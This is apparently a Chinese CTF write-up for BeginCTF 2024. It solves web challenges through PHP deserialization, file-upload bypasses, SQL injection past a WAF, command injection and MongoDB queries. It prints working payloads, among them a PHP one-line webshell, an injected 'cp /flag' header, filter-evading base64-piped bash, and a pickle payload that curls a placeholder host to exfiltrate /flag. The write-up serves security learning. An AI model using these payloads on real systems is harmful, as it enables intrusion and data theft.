BeginCTF 2024
战队名: Kengwang
Solved: 16
Channel: 新生赛道
本人正在和 Yakit 磨合, 本文中可能会出现 YakLang 语法
POPgadget
一个简单的反序列化
看题面:
<?php
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
?>
可以看到提示了我们 FLAG 在环境变量中, 考虑打 phpinfo
我们自顶向下分析, 可以看到 B
中有个 __destruct
, 可以看到访问了 a
之中的 $p
继续追到 A
中的 __get
, 他执行了 a
中的 p
方法, 当然这个 a
不能是 Test
继续追到 Fun
里面的 __call
, 可以看到调用了 call_user_func
, 同时出题人好心提醒了使用 call_user_func_array
call_user_func_array
可以把第一个参数作为回调函数, 第二个作为参数
而我们的 phpinfo
支持零参调用, 于是我们尝试构造反序列化链
<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
exit;
call_user_func($this->func,$f,$p);
}
}
class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p = "phpinfo";
public $a;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
$a = new A();
$b = new B();
$fun = new Fun();
$a->a = $fun;
$b->a = $a;
echo urlencode(serialize($b));
?>
打入即可出
zupload 系列
这是一系列文件上传的题目, 用了各种方法来进行绕过, 爆率高, 节奏爽 (bushi)
zupload
可以看其后端源码:
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo json_encode(array(
'status' => 'error',
'message' => 'Not implemented yet'
));
}
发现其直接使用 file_get_contents
解析用户传入参数, 直接 action=/flag
拿到 flag
zupload-pro
又将 action
过滤, 不允许开头为 /
并且不包含 ..
, 但是仅有前端限制了上传的文件类型
直接上传一句话木马
<?php eval($_POST[0]);
前端的话正常情况是传个 zip 然后 BurpSuite / Yakit
抓包后进行改包, 我本着少开一个软件的原则, 直接前端给 215
行下断, 在上传时断下来后手动执行一下 fetch
(别问, 问就是懒)
然后用 AntSword 访问 /uploads/马的名字
之后通过文件管理即可拿 flag
zupload-pro-plus
可以看到后端检查了扩展名, 但是用的是 $file_ext[1]
尝试将马的名字改成 eval.zip.php
, 前端同样的绕过套路, 成功上传马
这两个题的非预期
可以看到过滤条件
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false)
我们可以利用伪协议file://
来访问本地文件
直接传入参数 action=file:///flag
zupload-pro-plus-max
这道题可以看到终于使用的是 end($file_ext)
, 同时为了避免传的不是 zip
文件, 还使用了 new ZipArchive())->open($file_tmp)
检查是否为 zip
同时上面换成了 include($_GET['action'])
, 可以 include 文件
因为 include 的话会解析文件中用<?php ?>
包裹的 php 代码, 考虑将马追加到 zip 的文件尾部
先创建一个小一点的压缩包, 在用十六进制编辑器对其编辑一下.
(当然你也可以用 BurpSuite
直接改, 不建议用 Burp 的 Paste From File 功能, 听说编码会乱)
我这边就用 HxD
对 zip 进行追加马, 马的话别用 POST 了, 直接 echo file_get_contents('/flag');
之后访问 ?action=uploads/php-eval.zip
即可出 flag
zupload-pro-plus-max-ultra
看后端发现有
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
// ......
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
存在 RCE, (看似文件上传, 实际是 RCE!)
在 Header 中构造
X-Extract-To: uploads/;cp /flag flag;
之后再访问 /flag
即可拿到
zupload-pro-plus-max-ultra-premium
这个后端过滤的无懈可击, 既检查了文件后缀名, 同时不将用户上传的直接放在可访问的路径, 而是解压后放在 upload 中. 同时也过滤了文件中的可执行
我们可以尝试利用 Linux 中的软连接机制来链接到根目录的 flag
, 当然这要我们去 Linux 环境操作一下
touch /flag
ln -s /flag flag
zip -ry flag.zip flag
将这个 flag.zip 上传后访问 /uploads/flag
即可拿到 flag
上一道题也可用这种打法
zupload-pro-plus-enhanced
和 zupload-pro-plus
正解一样, 修复了非预期
zupload-pro-revenge
和 zupload-pro
一样正解一样, 修复了非预期
sql教学局
新手教学局, 还能回显 SQL 语句, 我哭死
可以看到后端的逻辑
function waf($input){
...
}
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['user'])) {
$userInput = waf($_GET['user']);
$query = "SELECT secret FROM ctf WHERE user='$userInput'";
$result = $conn->query($query);
if ($result) {
...
} else {
...
}
}
$conn->close();
可以看三个阶段的要求:
- 第一段flag位于 secret数据库password表的某条数据
- 第二段flag位于 当前数据库score表,学生begin的成绩(grade)
- 第三段flag位于 /flag
下方使用了 YakLang 语法, {{url()}} 代表将括号内内容使用 URL 编码
我们考虑使用 UNION SELECT
来打, 尝试构造参数 user={{url(' ORDER BY 1#)}}
可以看到被 WAF 拦截, 我们尝试拆一下字符串内容, 判断 WAF 的规则
通过拆解可以发现绕过了
(空格), 可以使用 /**/
代替 , 再次尝试{{url('/**/ORDER/**/BY/**/1#)}}
发现返回的 SQL 语句中缺少了 OR
, 于是我们采用双写绕过 {{url('/**/OORRDER/**/BY/**/1#)}
, 并未报错, 证明有两个字段, 于是我们开始拼接 UNION SELECT
经过一系列简单测试, 发现会替换掉 FROM
, SELECT
, OR
, load
第一阶段
第一个阶段并未透露出是哪个字段, 于是我们可以查询下 information_schema.columns
表
于是传参 {{url('/**/UNION/**/SELSELECTECT/**/group_concat(column_name)/**/FRFROMOM/**/infoorrmation_schema.columns/**/WHERE/**/table_name/**/like/**/'passwoorrd)}}
可以看到有 flag, id, note
, 于是开始执行 {{url('/**/UNION/**/SELSELECTECT/**/group_concat(flag)/**/FRFROMOM/**/secret.passwoorrd#)}}
即可拿到第一段 flag
第二阶段
然后第二阶段同样的套路, 我们不知道名称的字段名, 可以去 information_schema.columns
找
{{url('/**/UNION/**/SELSELECTECT/**/group_concat(column_name)/**/FRFROMOM/**/infoorrmation_schema.columns/**/WHERE/**/table_name/**/like/**/'scoorre)}}
可以查到有 grade, student
我们于是拼接语句
{{url('/**/UNION/**/SELSELECTECT/**/group_concat(grade)/**/FRFROMOM/**/scoorre/**/WHERE/**/student/**/like/**/'begin)}}
拿到第二段 flag
第三阶段
读本地文件, 我们拼接
{{url('/**/UNION/**/SELSELECTECT/**/loloadad_file('/flag')#)}}
拿到第三阶段 flag
回顾
拿完了之后我们再回顾以下这道题, 我们呢可以看看服务端的配置, 以下内容通过 load_file
获取
<?php
$host = 'localhost';
$username = 'root';
$password = 'root';
$database = 'ctf';
$conn = new mysqli($host, $username, $password, $database);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$query = '';
$resultText = '';
function waf($input)
{
if (preg_match('/regexp|left|floor|reverse|update|between|=|>|<|and|\|right|substr|replace|char|&|\\\$|sleep| /i', $input, $matches)) {
return array(false, $matches[0]);
} else {
$pattern = "/(select|from|load|or)/i";;
$input = preg_replace($pattern, '', $input);
return array(true, $input);
}
}
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['user'])) {
$wafOutput = waf($_GET['user']);
if ($wafOutput[0] === false) {
$resultText = "WAF!!!"
}
$query = "SELECT secret FROM ctf WHERE user='$userInput'";
$result = $conn->query($query);
if ($result) {
...
} else {
...
}
}
// ......
可以看到他的 waf 是怎么样的
readbooks
打开之后发现有两个 api
/list/{param}
/public/{param}
我们可以在 list 中使用 *
进行通配, 发现列出了目录
app.py
blacklist.txt
book1
book2
__pycache__:
app.cpython-310.pyc
private:
nothing_here
static:
templates:
index.html
我们试着再 /public/app.py
, 发现被 banned
, 我们使用通配符绕过一下, 得到后端
import os
from flask import Flask, request, render_template
app = Flask(__name__)
DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]
BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")
ALLOW = [
"{",
"}",
"[",
"pwd",
"-",
"_"
]
for a in ALLOW:
try:
BLACKLIST.remove(a)
except ValueError:
pass
@app.route('/')
@app.route('/index')
def hello_world():
return render_template('index.html')
@app.route('/public/<path:name>')
def readbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
try:
res = os.popen('cat {}'.format(name)).read()
return res
except:
return "error"
@app.route('/list/<path:name>')
def listbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
cmd = 'ls {}'.format(name)
try:
res = os.popen(cmd).read()
return res
except:
return "error"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8878)
我们再看看 blacklist.txt
, 使用 /public/black*
发现这是个恐怖的 blacklist, 过滤了几乎所有的 Linux 指令.
我们分析一下可知后端没有过滤掉管道字符 |
, 我们可以执行多个指令
而对于被 blacklist 掉的指令, 我们尝试使用 ` 符号进行绕过 (希望 Markdown 解析器别炸)
比如 cat
=>ca
`t`, 即可绕过黑名单, 于是我们尝试进行 RCE
可以看到题目过滤掉了空格, 我们采用 $IFS$1
替代
由于题目过滤掉了 /
我们需要对指令进行 base64 一下
于是我们先列出根目录内容 ls /
==base64
==>bHMgLyAg
(/
有两个空格, 防止出现等号, 不要也可以, 直接删掉就行)
于是构造出 book|ec
`ho$IFS$1bHMgLwAg|base64$IFS$1-d|bas
h`
关注到文件 _flag
于是构造 cat /_flag
==base64
==> Y2F0IC9fZmxhZyAg
于是构造出 book|ec
`ho$IFS$1Y2F0IC9fZmxhZyAg|base64$IFS$1-d|bas
h`
得到flag
pickelshop
Python 反序列化喵~
我们先进行 Register, 可以看到响应是
gASVMQAAAAAAAAB9lCiMCHVzZXJuYW1llIwIa2VuZ3dhbmeUjAhwYXNzd29yZJSMCHBAc3N3MHJklHUu
于是我们尝试进行 base64
解码, 发现是反序列化串. 我们搜索可知 Pickel
是 Python 的反序列化库
而 Pickel 会反序列化成 PVM
操作码, 有兴趣了解可以瞅瞅 Python安全学习—Python反序列化漏洞 by H3rmesk1t
当然, 总而言之, 我们可以利用这个来序列化 os.system 来让其在反序列化时进行 rce
import os
import pickle
import base64
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def __reduce__(self):
return (eval,("__import__('os').system('curl http://ip:port/`cat /flag|base64`')",))
user = User("kengwang","hatepython")
print(base64.b64encode(pickle.dumps(user)).decode())
于是我们拿到 payload:
gASVXQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxBX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgaHR0cDovL2lwOnBvcnQvYGNhdCAvZmxhZ3xiYXNlNjRgJymUhZRSlC4=
传入后即可在我们远端拿到 flag
king
NoSQL???
打开网页后 F12
关注到开启了一个 WebSocket
, 我们查看他们的消息串
分析发现后端是 MongoDB, 我们可以查询到 MongoDB 所有可用的指令 at MongoDB 官方文档
当然, 我们也可以用 listCommands
来查询到所有支持的指令
通过试验关注到 listCollections
,
{"id":"3b798yphvx3","query":{"listCollections":""}}
执行后发现
于是尝试
{"id":"3b798yphvx3","query":{"find":"flag74xvmf0xhew"}}
得到 flag
其他第三方 wp
第三方 wp 整理
@白露 https://www.hbailu.top/index.php/archives/131
@圣白树开花 https://wanglee.cool/2024/02/04/beginctf2024%E7%AC%94%E8%AE%B0/
@古中国掌管签到的神 https://www.ctfrookie.top/2024/02/06/BeginCTF2024%20WP/
@re-P1sc3s007 https://blog.csdn.net/Pisces50002/article/details/136053784
@Kengwang https://blog.kengwang.com.cn/archives/612/
@Anjv-W. https://github.com/anjvW/writeup/tree/main/beginCTF-20240205
@N1gh7ma12e https://www.nssctf.cn/note/set/5422